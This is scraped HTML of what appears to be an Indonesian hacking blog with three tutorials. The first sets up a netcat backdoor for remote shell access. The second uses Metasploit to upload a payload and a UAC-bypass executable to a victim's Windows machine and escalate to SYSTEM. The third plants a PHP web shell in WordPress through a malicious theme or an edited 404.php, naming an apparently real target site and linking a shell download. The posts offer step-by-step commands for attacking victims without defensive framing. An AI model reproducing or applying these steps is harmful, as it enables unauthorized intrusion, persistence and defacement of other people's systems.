href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSNtzLAA0IPzmb1dgRZYb_E0fN9mSlrUucQG28pFYN8JJhIj9vd60RjZKBOaSZhq1WZeuTerMpfZY1yad8tA1nEbkimAxlVRCJvU_72XelZLhzsnGhH4mAfvgQDIqV4xA9yMcrDtsfUQ8/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSNtzLAA0IPzmb1dgRZYb_E0fN9mSlrUucQG28pFYN8JJhIj9vd60RjZKBOaSZhq1WZeuTerMpfZY1yad8tA1nEbkimAxlVRCJvU_72XelZLhzsnGhH4mAfvgQDIqV4xA9yMcrDtsfUQ8/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />sekarang coba si client (linux) mencoba untuk menghubungi ( mengconnectkan ke server ) dengan port yang telah ditentukan si server<br />ketikkan perintah<br /><br />nc ipadddressserver port<br /><br /><blockquote class="tr_bq">nc 192.168.1.59 1234</blockquote><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQEzVlW-jvkrWq8g6D6J933UGIN_eSDYHM9v9_kijigZRwWzjuc3BQjd9Sjgg6YrARedjLBfcGw-eoAfZLIQ-JD4lYE7V-991A7ts1FAT_yGj9y0d3WUE_xFT63Vhp50XS39EWl_KY5-o/s1600/Selection_011.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQEzVlW-jvkrWq8g6D6J933UGIN_eSDYHM9v9_kijigZRwWzjuc3BQjd9Sjgg6YrARedjLBfcGw-eoAfZLIQ-JD4lYE7V-991A7ts1FAT_yGj9y0d3WUE_xFT63Vhp50XS39EWl_KY5-o/s1600/Selection_011.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><span style="font-size: 130%;"><br /></span><span style="font-size: 130%;">dan suksess masuk ke cmd pada server</span><br /><span style="font-size: 130%;"><br /></span><span style="font-size: 130%;">dan berikut screenshot jika ada client yang connect ke server backdoor</span><br /><span style="font-size: 130%;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8DJCJlfNGqgidhvlramu00pwqx_Y4XKomICu26QprksKQOaiKRjk9gmXPyDMMkiggFKCAtT7k6ruCVaPm0J4RXYZ-MWQUYJi3l3ad0pU7bjs90ZFAIukQwcMJ2ds9gP0b8hCnhmTNqN8/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8DJCJlfNGqgidhvlramu00pwqx_Y4XKomICu26QprksKQOaiKRjk9gmXPyDMMkiggFKCAtT7k6ruCVaPm0J4RXYZ-MWQUYJi3l3ad0pU7bjs90ZFAIukQwcMJ2ds9gP0b8hCnhmTNqN8/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><span style="font-size: 130%;"><br /></span><span style="font-size: 130%;"><br /></span></div>

Mengconnectkan netcat sebagai backdoor

Backdoor seringkali digunakan untuk masuk ke dalam sistem tanpa sepengetahuan administrator, namun hal tersebut bisa dilakukan jika penyus...

Mengatasi upload error core_channel_open: Operation failed: Access is denied pada meterpreter

PS 0 HACKING & CRACKING 9:12 PM

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-N9cRX8h-w9k/UZxFrqxV4VI/AAAAAAAABbM/z8GiYdJREXo/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-N9cRX8h-w9k/UZxFrqxV4VI/AAAAAAAABbM/z8GiYdJREXo/s1600/images.jpg" /></a></div><br /><br />Disini saya harap kalian sudah masuk sesi meterpreter<br />dan apa yang kita lakukan setelah dapat sesi meterpreter<br />banyak cara yang kita lakukan ketika kita berada pada sesi meterpreter ini<br />hmmm...yup kita akan mengupload backdoor agar kita bisa masuk ke pc korban lagi tanpa mengexploitnya<br /><br />tapi kendala masih saja ada yaitu tidak bisa upload backdoor kita<br /><br /><br />dengan keterangan error access denied atau kita ditolak masuk ke system tersebut<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGo_F5cLMtm0cODEWiM3XBggGCU9idPahGm8ZRwz2dG_6qeqof-rE36a1Xmx8oMv9No2Lh91kb-ko9G6ZHo0h_wKUx_F0-qioU7hpkPScRfg6qZcS2mCPItzbu4gk8WIPTHAfyLWkMg_o/s1600/Selection_001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGo_F5cLMtm0cODEWiM3XBggGCU9idPahGm8ZRwz2dG_6qeqof-rE36a1Xmx8oMv9No2Lh91kb-ko9G6ZHo0h_wKUx_F0-qioU7hpkPScRfg6qZcS2mCPItzbu4gk8WIPTHAfyLWkMg_o/s1600/Selection_001.png" /></a></div><br />DISINI SAYA HARAP KALIAN SUDAH MENDAPATKAN SESSION METERPRETER 1<br /><br />ok langsung saja kita mencoba masuk systemnya apabila belum di  patch tu windows nya<br /><br />disini saya harap sudah ada pada meterpreter<br />lalu ketikkan perintah<br /><blockquote class="tr_bq" style="color: red;">getsystem</blockquote><br />untuk masuk kesistem<br /><br />dan coba upload kan lagi backdoor kalian<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpcgsGXICywyqK0NSoTefwFI5BkEXiUsFAZ0wVN64RQYMyfQj4S3SaVVxpYB-LjHxzzQch4BZdv2G7Kbpwl6zO9sX1xC5txVRHRSE5fWvTDcva6g3E5ih7sBWtl_P2qHpWFlGHcf2S9F0/s1600/Selection_002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpcgsGXICywyqK0NSoTefwFI5BkEXiUsFAZ0wVN64RQYMyfQj4S3SaVVxpYB-LjHxzzQch4BZdv2G7Kbpwl6zO9sX1xC5txVRHRSE5fWvTDcva6g3E5ih7sBWtl_P2qHpWFlGHcf2S9F0/s1600/Selection_002.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><br />wow ternyata sukses<br /><br /><br />lalu kita coba test pada windows 7 yang sudah di patch <br /><br />DAN JIKA WINDOWS 7 SUDAH DI PATCH alias korban memakai windows 7 sp1<br />maka ketika kita mau mendapatkan system dengan getsystem maka access denied<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzRC72cCYuhU-w2n8Ih6LraZU6lX8FKzBIRIuSrcqs23g_qKHLNqxRcO7CcbwhH3SkeFEKY_6GTdC4AgTzCjvEs-dDt25ALNct2wpaLDvfOnbJOInM1POiCSEAUZ0eUu77WUlTOaYHidk/s1600/Selection_001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzRC72cCYuhU-w2n8Ih6LraZU6lX8FKzBIRIuSrcqs23g_qKHLNqxRcO7CcbwhH3SkeFEKY_6GTdC4AgTzCjvEs-dDt25ALNct2wpaLDvfOnbJOInM1POiCSEAUZ0eUu77WUlTOaYHidk/s1600/Selection_001.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br />dan muncul pesan error pada windows korban<br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div> hmmm ternyata bener bener sudah di patch<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBMf_8LnfXzjBY8fComE7QMQL9eHSpkUVOUfttb4JIU2iOqGM_ictmMU4GJFmtIqUjUaXRyh5fjgVkvXWq-vwnd-XmGJ3dr5GDkAC6rJWycXjrmJKanDb0VeLPKCdjB1B6o2wPhKnJROI/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBMf_8LnfXzjBY8fComE7QMQL9eHSpkUVOUfttb4JIU2iOqGM_ictmMU4GJFmtIqUjUaXRyh5fjgVkvXWq-vwnd-XmGJ3dr5GDkAC6rJWycXjrmJKanDb0VeLPKCdjB1B6o2wPhKnJROI/s1600/Capture.PNG" /></a></div><br /><br />disini kita harus sudah masuk <span style="color: red;">meterpreter</span> dulu sebelum membypass nya<br />dan cara untuk mengakalinya dengan menggunakan tehnik bypass.exe yang ada pada folder /opt/metasploit/msf3/data/post<br /><br /><span style="font-size: large;">buka lagi </span>msfconsole<br />lalu buat exploit <span style="color: red;">multi handler </span><br /><br /><blockquote class="tr_bq">use exploit/multi/handler<br />exploit</blockquote><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisFlOklsKE3SUGW6CribRpTBcwveq1CCN8zruRDC7Qrapv8VxbokF8qyZKdbgrexS2uw0UxfY0QJ4Ktl5A6z4R_PKh28lARB0lQ2z3LmF_g0gEJUHINLe_CdG6M1ygaGBfRfglz_F47oQ/s1600/Selection_058.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisFlOklsKE3SUGW6CribRpTBcwveq1CCN8zruRDC7Qrapv8VxbokF8qyZKdbgrexS2uw0UxfY0QJ4Ktl5A6z4R_PKh28lARB0lQ2z3LmF_g0gEJUHINLe_CdG6M1ygaGBfRfglz_F47oQ/s1600/Selection_058.png" /></a></div><br /><br /><br />lalu  bikin payload multi handler dan simpan dengan nama 4444.exe pada desktop<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhFv3H24I5n5TRkmU6Am2-fLjYLyrFDGmoMI05neE7HhmlKnzsoy4mEFcM58l0PtgWxPVDXwVhKRY1gMT93x9DBbhvxgXsJHt_3YbaN7B8IhD_8ixDDm-Wh8bYRw7TQWNVJsaoWU-xR2w/s1600/Selection_001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhFv3H24I5n5TRkmU6Am2-fLjYLyrFDGmoMI05neE7HhmlKnzsoy4mEFcM58l0PtgWxPVDXwVhKRY1gMT93x9DBbhvxgXsJHt_3YbaN7B8IhD_8ixDDm-Wh8bYRw7TQWNVJsaoWU-xR2w/s1600/Selection_001.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><br />buka terminal  baru masukkan perintah<br /><br /><blockquote class="tr_bq">cd /opt/metasploit/msf3/data/post</blockquote><br /><br />disana kita kana melihat bypass nya disini korban menggunakan system 32 bit jadinya saya memilih x86<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_DoToUYcK7i7cRgydKhC_QLlMd8nfZLwYMOi7gClIOGYhqrz046FeorAGTBH25SkxkqwzbZTOO6HCn1guVGkXIvh_g79S-ZLO-YyzCdh8Xkyaywi3t06jekzXoDNJfuvZu1p96PW5zpg/s1600/Selection_052.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_DoToUYcK7i7cRgydKhC_QLlMd8nfZLwYMOi7gClIOGYhqrz046FeorAGTBH25SkxkqwzbZTOO6HCn1guVGkXIvh_g79S-ZLO-YyzCdh8Xkyaywi3t06jekzXoDNJfuvZu1p96PW5zpg/s1600/Selection_052.png" /></a></div><br /><br />dan sekarang copy bypass nya pada desktop dan rename nya disini korban menggunakan 32bit dan saya <span style="font-size: large;">rename</span> bypassnya disini saya rename jadi trokanzboy.exe<br /><br /><blockquote class="tr_bq">cp bypassuac-x86.exe /root/Desktop/www.cybersquads.com.exe </blockquote><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSlRjTs6i51xf7lF78uYYFyuePbHxzF4tLCMz9Y1jYpjePmHxvVBmcXxOA944gNpIeDgGHJX1f1jgG4pas2acoMt1dFeS-JIZRfuJXlwrhmsUZQvOF78yzRgfBTB-Jk30oePZqd12jGrc/s1600/Selection_053.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSlRjTs6i51xf7lF78uYYFyuePbHxzF4tLCMz9Y1jYpjePmHxvVBmcXxOA944gNpIeDgGHJX1f1jgG4pas2acoMt1dFeS-JIZRfuJXlwrhmsUZQvOF78yzRgfBTB-Jk30oePZqd12jGrc/s1600/Selection_053.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-1BeJjRkcwHM/UZ7s9smaNvI/AAAAAAAABcs/8V0xU9kjqoA/s1600/Selection_003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div><br />nah hasilnya kita  punya 2 file di desktop<br />1. Payload multi handler yang kita buat tadi<br />2. bypass yang barusan kita copy <br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidgoFp7Xa09BIVyWr7zeIvNnFRK8AYd7zRi9-YU9S3iIWShJheEy8C_E46qYyta8KjjD1bcjBtf-Io5Oj68YsI9a3emtYYxBtcQ9SyljWcFha_JX0A0YrL-ghxLqoJOr4Zdh0gcMD6UXs/s1600/Selection_054.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidgoFp7Xa09BIVyWr7zeIvNnFRK8AYd7zRi9-YU9S3iIWShJheEy8C_E46qYyta8KjjD1bcjBtf-Io5Oj68YsI9a3emtYYxBtcQ9SyljWcFha_JX0A0YrL-ghxLqoJOr4Zdh0gcMD6UXs/s1600/Selection_054.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"></div>setelah itu kita cari dulu hasil exploitnya yang mengizinkan kita masuk pada session meterpreter yang dulu<br />dengan perintah <span style="color: red;">pwd</span><br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div>ternyata exploit kita yang dieksekusi sebelumnya ada di D:<br /><br />sekarang mulailah kita upload bypass.exe yang telah kita rename tadi di desktop<br /><br /><blockquote class="tr_bq">upload /root/Desktop/www.cybersquads.com.exe D:\</blockquote><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3gWpHromFVYKp1PO-TGI6xYjTdvyzlyQphsKqeOP4LvZnTnr0-9aFunpADS4hCTe-UO-zIr-Ue07PRMv5MI9Y2OuELw-6t8_dTGyimWfcmcAfFjbxixKqrj2AergdGQM868VagYtgHXo/s1600/Selection_057.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3gWpHromFVYKp1PO-TGI6xYjTdvyzlyQphsKqeOP4LvZnTnr0-9aFunpADS4hCTe-UO-zIr-Ue07PRMv5MI9Y2OuELw-6t8_dTGyimWfcmcAfFjbxixKqrj2AergdGQM868VagYtgHXo/s1600/Selection_057.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />lalu upload juga payload yang telah kita buat sebelumnya<br /><br /><blockquote class="tr_bq">upload /root/Desktop/4444.exe D:\</blockquote><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFN1Ixwxlv6Xg9EOfWgOxE8oTxMjxUYC-7SLWALuSfian-RWtI8Own_BhramFMQ5MWk8AOjDhj5S18oiBP9SQ_H7wXmZHHq3pdCjj7c6qN89U6W_EH2UulymG1Z_p2J0CgKUgpxj8_EN8/s1600/Selection_021.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFN1Ixwxlv6Xg9EOfWgOxE8oTxMjxUYC-7SLWALuSfian-RWtI8Own_BhramFMQ5MWk8AOjDhj5S18oiBP9SQ_H7wXmZHHq3pdCjj7c6qN89U6W_EH2UulymG1Z_p2J0CgKUgpxj8_EN8/s1600/Selection_021.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><br /><br />sekarang kita masuk cmd korban untuk mengesekusinya  menggunkan perintah<br /><br /><br /><blockquote class="tr_bq">shell</blockquote><br />lalu eksekusi payload dibawah bypass dengan perintah<br /><br /><blockquote class="tr_bq">www.cybersquads.com.exe elevate /c D:\4444.exe</blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj564uB1pDCKUzvKuKjgKQ534H99dDwZ_vCtiRpAQHWj4JO3ep0jBfLBrJmDuINUXkA89bNca4b5-NO4HXWv4hASAuZuoAwEVtZ_Vj3nW9FAaVnDZbNNfZ4j3QBnDruM1ysLo6isZYM_NU/s1600/Selection_059.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj564uB1pDCKUzvKuKjgKQ534H99dDwZ_vCtiRpAQHWj4JO3ep0jBfLBrJmDuINUXkA89bNca4b5-NO4HXWv4hASAuZuoAwEVtZ_Vj3nW9FAaVnDZbNNfZ4j3QBnDruM1ysLo6isZYM_NU/s1600/Selection_059.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br />dan beralihlah pada console kedua (msfconsole yang baru dibuat tadi) dan coba untuk dapatkan systemnya dengan perintah<br /><br /><blockquote class="tr_bq">getsystem</blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYaeS18H1xXMadi27LboGhRWXkUeqJsy_kgGqQ4HGguQPH86rBVIlqpcENbIMvvGT_enVQz_4wxlktv9cBdYtv6GbwQ8Kk4eDGdIvGhTIFHObkGG2WL-Jf2ns9kImDPSNn5V57sc4Nm1E/s1600/Selection_023.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYaeS18H1xXMadi27LboGhRWXkUeqJsy_kgGqQ4HGguQPH86rBVIlqpcENbIMvvGT_enVQz_4wxlktv9cBdYtv6GbwQ8Kk4eDGdIvGhTIFHObkGG2WL-Jf2ns9kImDPSNn5V57sc4Nm1E/s1600/Selection_023.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />woowwww work<br />:></div>

Mengatasi upload error core_channel_open: Operation failed: Access is denied pada meterpreter

Disini saya harap kalian sudah masuk sesi meterpreter dan apa yang kita lakukan setelah dapat sesi meterpreter banyak cara yang kita lakukan...

Berbagai cara upload shell backdoor pada wordpress

PS 0 DEFACE 4:31 AM

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQjVRqYkIRgwuguJXWsJpNOaQZjM0CD-QJiYoy_JhtKDiuJnljm" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQjVRqYkIRgwuguJXWsJpNOaQZjM0CD-QJiYoy_JhtKDiuJnljm" /></a></div><br /><br />Kali ini saya akan tunjukkan cara memasang shell pada web yang berbasis  wordpress selepas setelah dulu saya share cara pasang shell pada joomla.  Ok simak baik - baik<br /><br />cara pertama memanfaatkan install theme </div>Anda sudah harus mendapatkan User dan Password Wordpress dan login   <br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiiJgvgb41DFlmCcsR38wArwoxTL6SdomLsqgglEmX1c-nLxLy7NNIy2opOdkaD4RbmJmW-gjgQm_tqioNqmqAkNgPcghv30SsN4hIwb3PHwG-WNceBHr51MwBjPrIrqXcViNVNT6hHmM/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiiJgvgb41DFlmCcsR38wArwoxTL6SdomLsqgglEmX1c-nLxLy7NNIy2opOdkaD4RbmJmW-gjgQm_tqioNqmqAkNgPcghv30SsN4hIwb3PHwG-WNceBHr51MwBjPrIrqXcViNVNT6hHmM/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div> target   anda sendiri (so Pasti) dan yang ke dua anda harus mendownload Thema   untuk Wordpress, terserah mau yang gratisan atau bayar, kalu saran saya   sih yang gratisan aja =)) dan sebelum di upload, anda harus mngedit   salah satu file yang ada di dalamnya, misalnya file indexnya, edit dan   tukar dengan script shell anda, jika masih bingung, anda bisa pake punya   saya =))   dalam postingan ini saya tidak akan membahas bagaimana anda mendapatkannya :P kwkkwwkk<br /><div style="text-align: justify;">lanjut   untuk menanam shell atau bakcDoor di wordpress :) Masuk kehalaman  login  Wordpress, kali ini<br /><br />download theme shell nya --> <a href="https://dl.dropboxusercontent.com/s/86z2jjxa7boouq0/example.zip?token_hash=AAEeeTu66xtroMqfgsuh1OzWFtEeckIxqQ8ltunIbrFa3Q&dl=1">https://dl.dropboxusercontent.com/s/86z2jjxa7boouq0/example.zip?token_hash=AAEeeTu66xtroMqfgsuh1OzWFtEeckIxqQ8ltunIbrFa3Q&dl=1 </a><br /><br />kebetulan saya mempunyai target :D >><span style="font-size: large;"><b><i><span style="color: red;">http://www.senterpompa.com</span></i></b></span><br /><br /></div><div style="text-align: justify;">Setelah login, masuk kebagian <span style="color: red;">Appearance</span> >> <span style="color: red;">Themes</span> >> <span style="color: red;">Install Themes</span> >><span style="color: red;"> Install</span> </div>lalu upload theme yang sudah kalian download tadi   <br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy2ISUXIknByjqnXdTEkf_4soMnXpPvpYp4lwfnYfaQ2iEB_tYPcc2zTfzpmZDhAsIcHa1pkECIKNMkWfbNylZuUyk6zz5Ned-Ddb6syZe7uk39h2ZGlOv3VkrFH1vm6j-AGeZFmPlQj0/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy2ISUXIknByjqnXdTEkf_4soMnXpPvpYp4lwfnYfaQ2iEB_tYPcc2zTfzpmZDhAsIcHa1pkECIKNMkWfbNylZuUyk6zz5Ned-Ddb6syZe7uk39h2ZGlOv3VkrFH1vm6j-AGeZFmPlQj0/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div>Setelah di Install, Silahkan tunggu sebentar, dan untuk mengetahui letak  shell kita biasanya terletak di sini >>  <span style="color: red;">http://wordpress.com/wp-content/themes/nama_themes/index.php</span><br /> kalo punya saya di  sini masbroo >><span style="color: red;">http://www.senterpompa.com</span><span style="color: red;">/wp-content/themes/example/index.php </span><br /><br /><span style="color: red;"> </span>dan sukses shel telah terupload<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzK16Npg2XxUoF6isUZMZIOxK798zDbpGUiSuZmz24d1VfZnf0-Tj21QjSxs9UHSpHufun8Ee8lGGIjJ-4MX_-meB81XTTqkdR2ohXtOCC4CS61DqJLuZCNnJtP66DdaeEA8KtEv_sWZo/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzK16Npg2XxUoF6isUZMZIOxK798zDbpGUiSuZmz24d1VfZnf0-Tj21QjSxs9UHSpHufun8Ee8lGGIjJ-4MX_-meB81XTTqkdR2ohXtOCC4CS61DqJLuZCNnJtP66DdaeEA8KtEv_sWZo/s1600/Capture.PNG" /></a></div><br /> <span style="font-size: large;">CARA ke 2 </span>dengan mengedit themes yang aktif<br /><br />ok langsung saja disini saya asumsikan kalian sudah masuk pada admin panel<br />lalu langsung menuju ke <span style="color: red;">Apperance > editor > pilih dibagian kanan layar pilih 404.php </span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDE-B0toiG_1C9mb2y3oNr19RiNv3_zTe52BW63pVDufWjPZuxBjnyukVRw3rq9kc6pdiF6Lb_zAzhVRV_0wZfXlJt-YfdNSzXycL9rcf3Y-I41o11oLWIWQI9jwz4TqET3yGQmiafEqY/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDE-B0toiG_1C9mb2y3oNr19RiNv3_zTe52BW63pVDufWjPZuxBjnyukVRw3rq9kc6pdiF6Lb_zAzhVRV_0wZfXlJt-YfdNSzXycL9rcf3Y-I41o11oLWIWQI9jwz4TqET3yGQmiafEqY/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><br />lalu rubah script original 404.php dengan script shell backdoor kamu danupdate file<br /><br />lalu dimana letak shell kita<br />gampang liat di address bar kalian disini korban menggunakan template <span style="color: red;">wootique </span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikAreL7HoKFSw5mD6hYxmS5nvOqEkSPhbT03ES6oTNgKpnDJ8PR7IrYnQQaspd0Vhv0Qj8hCOvA1AImPuUVMvbBZGxlebLz2e41FsUOT8BjvzxdlR8no4qMBzELDWUsV-QI3Nt08L8YNk/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikAreL7HoKFSw5mD6hYxmS5nvOqEkSPhbT03ES6oTNgKpnDJ8PR7IrYnQQaspd0Vhv0Qj8hCOvA1AImPuUVMvbBZGxlebLz2e41FsUOT8BjvzxdlR8no4qMBzELDWUsV-QI3Nt08L8YNk/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />maka shell kita berada pada <span style="color: red;">http://www.senterpompa.com</span><span class="Apple-style-span" style="font-family: Arial, 'Century gothic', Tahoma, sans-serif; font-size: 13px;"><span class="Apple-style-span"><span style="color: red;">/wp-content/themes/wootique/404.php</span></span></span><br /><span class="Apple-style-span" style="font-family: Arial, 'Century gothic', Tahoma, sans-serif; font-size: 13px;"><span class="Apple-style-span"><span style="color: red;"><br /></span></span></span><span class="Apple-style-span" style="font-family: Arial, 'Century gothic', Tahoma, sans-serif; font-size: 13px;"><span class="Apple-style-span"><span style="color: red;"><br /></span></span></span>Dan sukses shell telah tertanam pada web korban<br />  <br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid-7PofEbKV9TAq6b73NisnQNmX3gl8Yd1PtmLxxwaOZqKFuyBjlSSZT9BmT-NZK-Ih29gJm6IgXrhEyW3qx43XhP8_ScjIMQg_EVe7cihdi4lls5f5IjlfAqqLPzYsNP0bjYHXYLVUhg/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid-7PofEbKV9TAq6b73NisnQNmX3gl8Yd1PtmLxxwaOZqKFuyBjlSSZT9BmT-NZK-Ih29gJm6IgXrhEyW3qx43XhP8_ScjIMQg_EVe7cihdi4lls5f5IjlfAqqLPzYsNP0bjYHXYLVUhg/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /></div>

Berbagai cara upload shell backdoor pada wordpress

Kali ini saya akan tunjukkan cara memasang shell pada web yang berbasis wordpress selepas setelah dulu saya share cara pasang shell pada jo...

Dos windows 7 pada web browser

